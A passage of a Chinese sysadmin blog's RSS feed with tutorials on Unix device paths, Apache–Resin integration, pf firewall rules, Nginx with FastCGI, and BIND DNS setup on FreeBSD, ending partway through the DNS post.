</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/fd0</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">-</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Non-rewinding   tape drive</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rmt0.1</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/nrwt0d</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rmt/0mn</span></tt></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<table class="MsoNormalTable" style="height: 283px;" border="1" cellspacing="0" cellpadding="0" width="693">
<tbody>
<tr>
<td width="204">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Devices</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Linux (RedHat)</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Solaris (SPARC)</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Tru64</span></strong></tt><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Devices</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">/dev</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">/devices</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev</span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Install   devices for attached peripherals</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/MAKEDEV</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">drvconfig</span></tt><span lang="EN-US"><br />
</span><tt><span lang="EN-US">devlinks</span></tt><span lang="EN-US"><br />
</span><tt><span lang="EN-US">disks</span></tt><span lang="EN-US"><br />
</span><tt><span lang="EN-US">tapes</span></tt><span lang="EN-US"><br />
</span><tt><span lang="EN-US">ports</span></tt></td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">scu scan edt</span></tt><span lang="EN-US"><br />
</span><tt><span lang="EN-US">scsimgr -scan_all</span></tt></td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Remove   device</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">rem_drv</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Device   drivers</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">prtconf -D</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">CPU</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">cat   /proc/cpuinfo</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">psrinfo -v</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">psrinfo -v</span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">List   Terminal</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">pmadm -l</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Diagnostics</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">/usr/platform/`uname   -m`/</span></tt><span lang="EN-US"><br />
</span><tt><span lang="EN-US">sbin/prtdiag</span></tt><span lang="EN-US"><br />
</span><tt><span lang="EN-US">ok test-all</span></tt><span lang="EN-US"><br />
</span><tt><span lang="EN-US">/opt/SUNWvts/bin/sunvts</span></tt></td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Whole Disk</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/sda</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/c#t#d0s2</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rz0c</span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">CDROM</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/cdrom</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/dsk/c#t6d0s2</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rz3c</span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">CDROM file   type</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">iso9660</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">hsfs</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">cdfs</span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Rewinding   tape drive</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rst0  {c   9 0}</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rmt/0</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rmt0</span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Floppy drive</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/fd0</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/diskette</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/fd0c</span></tt></p>
</td>
</tr>
<tr>
<td width="204">
<p class="MsoNormal"><tt><span lang="EN-US">Non-rewinding   tape drive</span></tt></p>
</td>
<td width="168">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/nrst0 {c   9 128}</span></tt></p>
</td>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rmt/0n</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/nrmt0</span></tt></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/286.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freebsd下apache与resin整合手册</title>
		<link>http://www.evanjiang.net.cn/archives/280.html</link>
		<comments>http://www.evanjiang.net.cn/archives/280.html#comments</comments>
		<pubDate>Wed, 21 Jan 2009 10:35:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[resin]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[Freebsd apache resin整合]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=280</guid>
		<description><![CDATA[<p>一、	安装freebsd
略
二、	安装mysql
略
三、	安装apache
略
四、	安装php
略
五、	安装resin
安装resin等back-end
1 、# cd /usr/ports/www/resin3
2、# make WITH_APACHE2=yes install clean
3、编辑httpd.conf 在后面加入以下内容：
</p>
<p>
    ResinConfigServer localhost 6802

4、	设置resin3随机启动
5、	echo ‘resin3_enable=&#8221;YES&#8221; ‘ >> /etc/rc.conf
6、	手动启动resin3
#/usr/local/etc/rc.d/resin3.sh start</p>
<p>六、	整合apache与resin
在apache增加二级域名
现在以coopunion.ding9.com 二级域名（虚拟主机）为例
a、	在httpd.conf 增加下面内容
Alias /coopunion  /usr/local/www/apache22/uniondata/coopunion

        Order allow,deny
        Allow from all
 </p>
<p>
       ServerAdmin webmaster@ding9.net
   [...]]]></description>
			<content:encoded><![CDATA[<p>一、	安装freebsd<br />
略<br />
二、	安装mysql<br />
略<br />
三、	安装apache<br />
略<br />
四、	安装php<br />
略<br />
五、	安装resin<br />
安装resin等back-end<br />
1 、# cd /usr/ports/www/resin3<br />
2、# make WITH_APACHE2=yes install clean<br />
3、编辑httpd.conf 在后面加入以下内容：<br />
<span id="more-280"></span></p>
<p><IfModule mod_caucho.c><br />
    ResinConfigServer localhost 6802<br />
</IfModule><br />
4、	设置resin3随机启动<br />
5、	echo ‘resin3_enable=&#8221;YES&#8221; ‘ >> /etc/rc.conf<br />
6、	手动启动resin3<br />
#/usr/local/etc/rc.d/resin3.sh start</p>
<p>六、	整合apache与resin<br />
在apache增加二级域名<br />
现在以coopunion.ding9.com 二级域名（虚拟主机）为例<br />
a、	在httpd.conf 增加下面内容<br />
Alias /coopunion  /usr/local/www/apache22/uniondata/coopunion<br />
<Directory /usr/local/www/apache22/uniondata/coopunion><br />
        Order allow,deny<br />
        Allow from all<br />
</Directory> </p>
<p><VirtualHost *:80><br />
       ServerAdmin webmaster@ding9.net<br />
       DocumentRoot /usr/local/www/apache22/uniondata/coopunion<br />
       ServerName coopunion.ding9.local<br />
       ServerAlias ding9.com<br />
#       RewriteEngine on<br />
</VirtualHost><br />
在resin增加二级域名。<br />
编辑/usr/local/etc/resin3/resin.xml<br />
vi /usr/local/etc/resin3/resin.xml</p>
<p>找到这下一段话:<br />
<cluster><br />
      <srun server-id="" host="127.0.0.1" port="6802"/><br />
</cluster></p>
<p>改为：<br />
<cluster><br />
      <srun server-id="" host="localhost" port="6802"/><br />
    </cluster><br />
再找到下面这段话：<br />
<web-app id="/" document-directory="webapps/ROOT"/><br />
改为下面这样：<br />
<!-- <web-app id="/" document-directory="webapps/ROOT"/> &#8211;><br />
<web-app id="/" document-directory="/usr/local/www/apache22/data"/><br />
<web-app id="/lucene" document-directory="/usr/home/javadata/lucene"/></p>
<p>再增加下面内容:</p>
<p> <host id="ding9admin.ding9.com"><br />
 <web-app id="/" document-directory="/usr/local/www/apache22/uniondata/ding9admin"/><br />
</host></p>
<p>至此，apache与resin的整合完成</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/280.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freebsd上使用pf防火墙</title>
		<link>http://www.evanjiang.net.cn/archives/263.html</link>
		<comments>http://www.evanjiang.net.cn/archives/263.html#comments</comments>
		<pubDate>Fri, 16 Jan 2009 17:42:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[pf]]></category>
		<category><![CDATA[Freebsd pf 防火墙]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=263</guid>
		<description><![CDATA[<p>要在 FreeBSD 6.2上使用 PF 防火牆，有二個方式，一個是編譯進入核心，另外是以動態模組方式載入。
編譯進入核心的方式
#FreeBSD log traffic，如果有使用 pflog，就要編譯進核心
device bpf
#啟動 PF Firewall
device pf#啟動虛擬網路設備來記錄流量(經由 bpf)
device pflog
#啟動虛擬網路設備來監視網路狀態
device pfsync</p>
<p>以動態模組載入
vi /etc/rc.conf加入下面四行
#啟用 PF
pf_enable=&#8221;YES&#8221;
#PF 防火牆規則的設定檔
pf_rules=&#8221;/etc/pf.conf&#8221;
#啟用 inetd 服務
inetd_enable=&#8221;YES&#8221;
#啟動 pflogd
pflog_enable=&#8221;YES&#8221;
#pflogd 儲存記錄檔案的地方
pflog_logfile=&#8221;/var/log/pflog&#8221;
#轉送封包
gateway_enable=&#8221;YES&#8221;
</p>
<p>#開啟 ftp-proxy 功能
vi /etc/inetd.conf把下面這一行最前面的 # 刪除
ftp-proxy stream tcp nowait root /usr/libexec/ftp-proxy ftp-proxy</p>
<p>使用 sysctl 做設定(也可以重新開機讓設定生效)
sysctl -w net.inet.ip.forwarding=1</p>
<p>vi /etc/pf.conf
#對外的網路卡
ext_if = &#8220;sis0&#8243;
#對內的網路卡
int_if = &#8220;rl0&#8243;
#頻寬控管
#定義 std_out 總頻寬 512Kb
#altq on $ext_if cbq bandwidth 512Kb queue { std_out }
#定義 std_out [...]]]></description>
			<content:encoded><![CDATA[<p>要在 FreeBSD 6.2上使用 PF 防火牆，有二個方式，一個是編譯進入核心，另外是以動態模組方式載入。<br />
編譯進入核心的方式<br />
#FreeBSD log traffic，如果有使用 pflog，就要編譯進核心<br />
device bpf<br />
#啟動 PF Firewall<br />
device pf#啟動虛擬網路設備來記錄流量(經由 bpf)<br />
device pflog<br />
#啟動虛擬網路設備來監視網路狀態<br />
device pfsync</p>
<p>以動態模組載入<br />
vi /etc/rc.conf加入下面四行<br />
#啟用 PF<br />
pf_enable=&#8221;YES&#8221;<br />
#PF 防火牆規則的設定檔<br />
pf_rules=&#8221;/etc/pf.conf&#8221;<br />
#啟用 inetd 服務<br />
inetd_enable=&#8221;YES&#8221;<br />
#啟動 pflogd<br />
pflog_enable=&#8221;YES&#8221;<br />
#pflogd 儲存記錄檔案的地方<br />
pflog_logfile=&#8221;/var/log/pflog&#8221;<br />
#轉送封包<br />
gateway_enable=&#8221;YES&#8221;<br />
<span id="more-263"></span></p>
<p>#開啟 ftp-proxy 功能<br />
vi /etc/inetd.conf把下面這一行最前面的 # 刪除<br />
ftp-proxy stream tcp nowait root /usr/libexec/ftp-proxy ftp-proxy</p>
<p>使用 sysctl 做設定(也可以重新開機讓設定生效)<br />
sysctl -w net.inet.ip.forwarding=1</p>
<p>vi /etc/pf.conf<br />
#對外的網路卡<br />
ext_if = &#8220;sis0&#8243;<br />
#對內的網路卡<br />
int_if = &#8220;rl0&#8243;<br />
#頻寬控管<br />
#定義 std_out 總頻寬 512Kb<br />
#altq on $ext_if cbq bandwidth 512Kb queue { std_out }<br />
#定義 std_out 佇列頻寬 256Kb，使用預設佇列<br />
#queue std_out bandwith 256Kb cbq (default)<br />
#定義 std_in 總頻寬 2Mb<br />
#altq on $int_if cbq bandwidth 2Mb queue { std_in }<br />
#假設頻寬足夠的話，可以從父佇列借用額外的頻寬<br />
#queue std_in bandwidth 768Kb cbq (brrrow)</p>
<p>#對外開放的服務<br />
open_services = &#8220;{80, 443}&#8221;<br />
#內部私有的 IP<br />
priv_nets = &#8220;{ 127.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, 10.0.0.0/8 }&#8221;<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
# options<br />
#設定拒絕連線封包的處理方式<br />
set block-policy return<br />
#<br />
set optimization aggressive<br />
#紀錄 $ext_if<br />
set loginterface $ext_if</p>
<p># scrub<br />
#整理封包<br />
scrub in all</p>
<p>#nat<br />
#NAT 位址轉譯處理<br />
nat on $ext_if from $int_if:network to any -> $ext_if</p>
<p>#ftp-proxy<br />
#ftp-proxy 重新導向<br />
rdr on $int_if proto tcp from any to any port 21 -> 127.0.0.1 port 8021<br />
#rdr on $ext_if proto tcp from any to 140.111.152.13 port 21 -> 192.168.13.253 port 21<br />
#Transparent Proxy Server<br />
rdr on rl0 proto tcp from 192.168.13.0/24 to any 80 -> 127.0.0.1 port 3128</p>
<p>#阻擋可疑封包在 $ext_if 網卡進出<br />
antispoof log quick for $ext_if</p>
<p>#阻擋所有進出的封包<br />
block all</p>
<p>#開放 loopback<br />
pass quick on lo0 all</p>
<p>#拒絕內部私有 IP 對 $ext_if 網路卡連線<br />
block drop in quick on $ext_if from $priv_nets to any<br />
block drop out quick on $ext_if from any to $priv_nets</p>
<p>#開放對外的 80, 443 埠<br />
pass in on $ext_if inet proto tcp from any to $ext_if port $open_services flags S/SA keep state<br />
#只容許 140.111.152.0/24 網段對本機做 22 埠連線<br />
pass in on $ext_if inet proto tcp from 140.111.152.0/24 to $ext_if port 22 flags S/SA keep state</p>
<p>#開放內部網路對外連線<br />
#pass in on $inf_if proto rcp from any to any queue std_in<br />
pass in on $int_if from $int_if:network to any keep state<br />
pass out on $int_if from any to $int_if:network keep state</p>
<p>#開放對外網路的連線<br />
#pass out $ext_if proto tcp from any to any queue std_out<br />
pass out on $ext_if proto tcp all modulate state flags S/SA<br />
pass out on $ext_if proto { udp, icmp } all keep state</p>
<p>啟動 PF，並讀取 pf 規則<br />
pfctl -e;pfctl -f /etc/pf.conf</p>
<p>PF 指令的用法<br />
#啟動 PF<br />
pfctl -e<br />
#載入 PF 規則<br />
pfctl -f /etc/pf.conf<br />
#檢查 PF 語法是否正確 (未載入)<br />
pfctl -nf /etc/pf.conf<br />
#停用 PF<br />
pfctl -d<br />
#重讀 PF 設定檔中的 NAT 部分<br />
pfctl -f /etc/pf.conf -N<br />
#重讀 PF 設定檔中的 filter rules<br />
pfctl -f /etc/pf.conf -R<br />
#重讀 PF 設定檔中的選項規則<br />
pfctl -f /etc/pf.conf -O</p>
<p>#查看 PF 資訊<br />
#顯示現階段過濾封包的統計資料<br />
pfctl -s info<br />
pfctl -si</p>
<p>pfctl -s memory</p>
<p>#顯示現階段過濾的規則<br />
pfctl -s rules<br />
pfctl -sr</p>
<p>pfctl -vs rules<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
#顯示現階段過濾封包的統計資料<br />
pfctl -vsr </p>
<p>#顯示現階段 NAT 的規則<br />
pfctl -s nat<br />
pfctl -sn</p>
<p>#檢視目前佇列<br />
pfctl -s queue</p>
<p>#顯示現階段所有統計的資料<br />
pfctl -s all<br />
pfctl -sa</p>
<p>#清除 PF 規則<br />
#清空 NAT 規則<br />
pfctl -F nat<br />
#清空佇列<br />
pfctl -F queue<br />
#清空封包過濾規則<br />
pfctl -F rules<br />
#清空計數器<br />
pfctl -F info<br />
pfctl -F Tables<br />
#清空所有的規則<br />
pfctl -F all</p>
<p>#PF Tables 的使用<br />
#顯示 table 內資料<br />
pfctl -t ssh-bruteforce -Tshow<br />
pfctl -t table_name -T add spammers.org<br />
pfctl -t table_name -T delete spammers.org<br />
pfctl -t table_name -T flush<br />
pfctl -t table_name -T show<br />
pfctl -t table_name -T zero</p>
<p>過濾掃描偵測軟體<br />
block in quick proto tcp all flags SF/SFRA<br />
block in quick proto tcp all flags SFUP/SFRAU<br />
block in quick proto tcp all flags FPU/SFRAUP<br />
block in quick proto tcp all flags /SFRA<br />
block in quick proto tcp all flags F/SFRA<br />
block in quick proto tcp all flags U/SFRAU<br />
block in quick proto tcp all flags P<br />
如果防火牆和 Proxy Server 不在同一台主機<br />
Proxy Server：192.168.13.250<br />
no rdr on rl0 proto tcp from 192.168.13.250 to any port 80<br />
rdr on rl0 proto tcp from 192.168.13.0/24 to any port 80 -> 192.168.13.250 port 3128</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/263.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nginx在FreeBsd下的安装与配置</title>
		<link>http://www.evanjiang.net.cn/archives/254.html</link>
		<comments>http://www.evanjiang.net.cn/archives/254.html#comments</comments>
		<pubDate>Fri, 16 Jan 2009 07:56:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[nginx  Freebsd 安装 配置]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=254</guid>
		<description><![CDATA[<p>What for? Nginx is a great replacement of Apache with very low memory footprint and contrary to</p>
<p>Lighttpd, doesn&#8217;t suffer from memory leak over time. You can then use all the memory left to</p>
<p>unleash the power of mysql for instance by increasing the default query cache.</p>
<p>
Step1 安装必备软件
MySQL+PHP+Pcre
cd /usr/ports/database/mysql50-server &#38;&#38; make install clean
cd /usr/lang/php5/ &#38;&#38; make install [...]]]></description>
			<content:encoded><![CDATA[<p>What for? Nginx is a great replacement of Apache with very low memory footprint and contrary to</p>
<p>Lighttpd, doesn&#8217;t suffer from memory leak over time. You can then use all the memory left to</p>
<p>unleash the power of mysql for instance by increasing the default query cache.</p>
<p><span id="more-254"></span><br />
Step1 安装必备软件<br />
MySQL+PHP+Pcre<br />
cd /usr/ports/database/mysql50-server &amp;&amp; make install clean<br />
cd /usr/lang/php5/ &amp;&amp; make install clean<br />
cd /usr/devel/pcre &amp;&amp; make install clean</p>
<p>Step2 安装FastCgi(借用lighttpd的spawn-cgi)<br />
wget http://www.lighttpd.net/download/lighttpd-1.4.18.tar.bz2<br />
tar -xvjf lighttpd-1.4.18.tar.bz2 cd lighttpd-1.4.18<br />
cd lighttpd-1.4.18<br />
./configure<br />
make<br />
cp src/spawn-fcgi /usr/bin/spawn-fcgi</p>
<p>vi /usr/bin/php-fastcgi<br />
#!/bin/sh</p>
<p>/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u www -f /usr/local/bin/php-cgi<br />
chmod 755 /usr/bin/php-fastcgi</p>
<p>vi /etc/rc.d/init-fastcgi<br />
#!/bin/bash</p>
<p>PHP_SCRIPT=/usr/bin/php-fastcgi<br />
RETVAL=0<br />
case &#8220;$1&#8243; in<br />
start)<br />
$PHP_SCRIPT<br />
RETVAL=$?<br />
;;<br />
stop)<br />
killall -9 php<br />
RETVAL=$?<br />
;;<br />
restart)<br />
killall -9 php<br />
$PHP_SCRIPT<br />
RETVAL=$?<br />
;;<br />
*)<br />
echo &#8220;Usage: php-fastcgi {start|stop|restart}&#8221;<br />
exit 1<br />
;;<br />
esac<br />
exit $RETVAL<br />
chmod 755 /etc/rc.d/init-fastcgi</p>
<p>Step3 安装Nginx(本文用目前稳定版)<br />
wget http://sysoev.ru/nginx/nginx-0.5.32.tar.gz<br />
tar xvzf nginx-0.5.32.tar.gz<br />
cd nginx-0.5.32<br />
./configure (默认安装在/usr/local/nginx)<br />
make &amp;&amp; make install</p>
<p>Step4 配置Nginx (主要修改)<br />
cp conf/fastcgi_params /usr/local/nginx/conf/fastcgi_params<br />
location / {<br />
root /var/www/wordpress; (此处就是你的web根目录)<br />
index index.php index.html index.htm;<br />
}<br />
location ~ .*\.php$ {<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
fastcgi_param SCRIPT_FILENAME /var/www/wordpress$fastcgi_script_name;<br />
include /usr/local/nginx/conf/fastcgi_params;<br />
}</p>
<p>Step5 启动<br />
/etc/rc.d/init-fastcgi start<br />
/usr/local/nginx/sbin/nginx 效果如下：</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/254.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FREEBSDUNIX DNS服务器建设</title>
		<link>http://www.evanjiang.net.cn/archives/235.html</link>
		<comments>http://www.evanjiang.net.cn/archives/235.html#comments</comments>
		<pubDate>Wed, 14 Jan 2009 05:04:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[dns]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd dns 服务器 建设]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=235</guid>
		<description><![CDATA[<p>提纲
设置DNS服务器。 ………………………………
	A、建立正反向解析目录 …………………………….
	B、改变正反向解析目录属性 ………………………….
	C、生成正反向解析文件的例子文件 ……………………..
	D、生成这正反向解析文件 ……………………………..
	E、设置DNS服务器的主域 ………………………………..
	F、设置DNS服务器反向解析文件 …………………………..
	H、设置DNS服务器的正向解析文件 ……………………..
	I、生成DNS服务器的key文件 ………………………
	J、启动DNS服务器 ……………………………………
	K、设置本机DNS服务器地址 ……………………………</p>
<p></p>
<p>设置DNS服务器
(注：以下的配置环境为：Hostname :ns1.ding9.com ip:172.16.16.205  #符号为特别说明外，一般是指root的操作环境符，代表命令操作都是在ROOT的权限内操作。)
Freebsd unix 6 已带了稳定的bind 9.31，现在就用bind9.31 来设置dns服务器。也可以升级安装最新版的bind9.31 ，然后设置dns服务器。</p>

?View Code TEXT1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# cd /usr/ports/dns/bind9 
# make install clean 
A、	建立正反向解析目录.
# mkdir /etc/namedb/rev 
# mkdir /etc/namedb/hosts 
B、	建立正反向解析目录.
#mkdir /etc/namedb/rev 
#mkdir /etc/namedb/hosts
C、	改变正反向解析目录属性。
# chown bind:bind /etc/namedb/rev 
# chown bind:bind /etc/namedb/hosts 
# chmod 750 /etc/namedb/rev 
# chmod 750 /etc/namedb/hosts [...]]]></description>
			<content:encoded><![CDATA[<p>提纲<br />
设置DNS服务器。 ………………………………<br />
	A、建立正反向解析目录 …………………………….<br />
	B、改变正反向解析目录属性 ………………………….<br />
	C、生成正反向解析文件的例子文件 ……………………..<br />
	D、生成这正反向解析文件 ……………………………..<br />
	E、设置DNS服务器的主域 ………………………………..<br />
	F、设置DNS服务器反向解析文件 …………………………..<br />
	H、设置DNS服务器的正向解析文件 ……………………..<br />
	I、生成DNS服务器的key文件 ………………………<br />
	J、启动DNS服务器 ……………………………………<br />
	K、设置本机DNS服务器地址 ……………………………</p>
<p><span id="more-235"></span></p>
<p>设置DNS服务器<br />
(注：以下的配置环境为：Hostname :ns1.ding9.com ip:172.16.16.205  #符号为特别说明外，一般是指root的操作环境符，代表命令操作都是在ROOT的权限内操作。)<br />
Freebsd unix 6 已带了稳定的bind 9.31，现在就用bind9.31 来设置dns服务器。也可以升级安装最新版的bind9.31 ，然后设置dns服务器。</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p235code2'); return false;">View Code</a> TEXT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2352"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
</pre></td><td class="code" id="p235code2"><pre class="text" style="font-family:monospace;"># cd /usr/ports/dns/bind9 
# make install clean 
A、	建立正反向解析目录.
# mkdir /etc/namedb/rev 
# mkdir /etc/namedb/hosts 
B、	建立正反向解析目录.
#mkdir /etc/namedb/rev 
#mkdir /etc/namedb/hosts
C、	改变正反向解析目录属性。
# chown bind:bind /etc/namedb/rev 
# chown bind:bind /etc/namedb/hosts 
# chmod 750 /etc/namedb/rev 
# chmod 750 /etc/namedb/hosts 
&lt;!--adsense--&gt;
D、	生成正反向解析文件的样例文件
# cd /etc/namedb 
# sh make-localhost 
E、	生成这正反向解析文件
#cp /etc/namedb/master/localhost.rev /etc/namedb/rev/172.16.16.rev 
#cp /etc/namedb/master/localhost.rev /etc/namedb/hosts/ding9.com.hosts 
F、	设置DNS服务器的主域。
# vi  /etc/namedb/named.conf 
加下以下内容：
zone &quot;16.16.172.IN-ADDR.ARPA&quot; { 
        type master; 
        file &quot;/etc/namedb/rev/172.16.16.rev&quot;; 
}; 
zone &quot;ding9.com&quot; { 
        type master; 
        file &quot;/etc/namedb/hosts/ding9.com.hosts&quot;; 
}; 
G、	设置DNS服务器反向解析文件。
#vi /etc/namedb/rev/172.16.16.rev 
